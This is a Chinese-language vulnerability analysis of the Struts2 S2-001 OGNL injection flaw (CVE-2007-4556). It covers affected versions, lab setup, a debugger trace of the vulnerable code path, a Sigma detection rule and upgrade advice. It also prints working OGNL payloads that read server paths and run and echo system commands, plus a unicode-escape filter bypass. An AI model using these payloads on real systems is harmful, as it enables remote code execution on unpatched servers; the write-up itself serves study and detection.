ATT&CK-st001漏洞之漏洞分析與利用
STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
原理
該漏洞因為用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value},對提交的數據執行了一次 OGNL 表達式解析,從而導致命令執行漏洞的產生。
漏洞影響范圍
WebWork 2.1(啟用 altSyntax)
WebWork 2.2.0 - WebWork 2.2.5
Struts 2.0.0 - Struts 2.0.8
環境搭建
下載 st-001 的漏洞環境,idea打開運行即可。
payload:
// 驗證漏洞存在,如果%{1+1}提交后返回2,證明漏洞存在。%{1+1}// tomcat路徑%{@java.lang.System@getProperty("user.dir")}// web目錄%{# req=@org.apache.struts2.ServletActionContext@getRequest(),# response=# context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),# response.println(# req.getRealPath('/')),# response.flush(),# response.close()}// 執行系統命令%{@java.lang.Runtime@getRuntime().exec("calc")}// 回顯執行系統命令%{# a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),# b=# a.getInputStream(),# c=new java.io.InputStreamReader(# b),# d=new java.io.BufferedReader(# c),# e=new char[50000],# d.read(# e),# f=# context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),# f.getWriter().println(new java.lang.String(# e)),# f.getWriter().flush(),# f.getWriter().close()}
繞過方式:\u0023與\u003d繞過,其中\u0023代表:# ,\u003d代表=。
%{\u0023a\u003d(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).redirectErrorStream(true).start(),\u0023b\u003d\u0023a.getInputStream(),\u0023c\u003dnew java.io.InputStreamReader(\u0023b),\u0023d\u003dnew java.io.BufferedReader(\u0023c),\u0023e\u003dnew char[50000],\u0023d.read(\u0023e),\u0023f\u003d\u0023context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),\u0023f.getWriter().println(new java.lang.String(\u0023e)),\u0023f.getWriter().flush(),\u0023f.getWriter().close()}
代碼分析
這里使用payload進行漏洞利用。
%{# a=(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).redirectErrorStream(true).start(),# b=# a.getInputStream(),# c=new java.io.InputStreamReader(# b),# d=new java.io.BufferedReader(# c),# e=new char[50000],# d.read(# e),# f=# context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),# f.getWriter().println(new java.lang.String(# e)),# f.getWriter().flush(),# f.getWriter().close()}
首先,前臺傳入進去的參數,經過struts2解析,通過struts2-core-2.0.1.jar包,通過查看默認配置文件struts-default.xml發現.
param傳入到com.opensymphony.xwork2.interceptor.ParametersInterceptor類中,具體如下:

ParametersInterceptor.java文件,在doIntercept設置斷點,進行斷點調試。

parameters已經將參數獲取過來。

setParameters(action, stack, parameters)這里,OGNL 表達式會對傳入參數進行解析,從而造成代碼執行漏洞,當DenyMethodExecution設置為false時,代碼執行才可以被利用。

繼續對setParameters函數進行跟蹤,獲取到傳入username的值,同時繼續跟蹤stack.setValue方法。

繼續跟進:

繼續跟進:

OgnlRuntime.setMethodValue返回為true,然后返回。

setDenyMethodExecution最后默認為false后,在invocation.invoke()調用時,惡意代碼才被執行。

跟進invocation.invoke方法:

繼續跟進:

測試用例
使用工具:Struts2漏洞檢查工具2019版 V2.3.exe進行漏洞驗證,具體如圖:

檢測規則
Sigma檢測規則如下:
title: st-001遠程代碼執行漏洞description: 檢測st-001遠程代碼執行漏洞status: testdate: 2022/04/01author: bigsealogsource:category: webserverdetection:selection:c-uri|contains:- '%{'- 'java.lang.Runtime'- 'java.lang.ProcessBuilder'condition: selectionfields:- c-ip- c-dnstags:- attack.t1190- attack.initial_access- cve.2007.4556level: Critical
緩解措施
官方建議Struts升級至2.0.9版本或XWork升級2.0.4版本,上方我們進行分析時,已經得知問題是出在xwork框架中,所以升級xwork版本即可。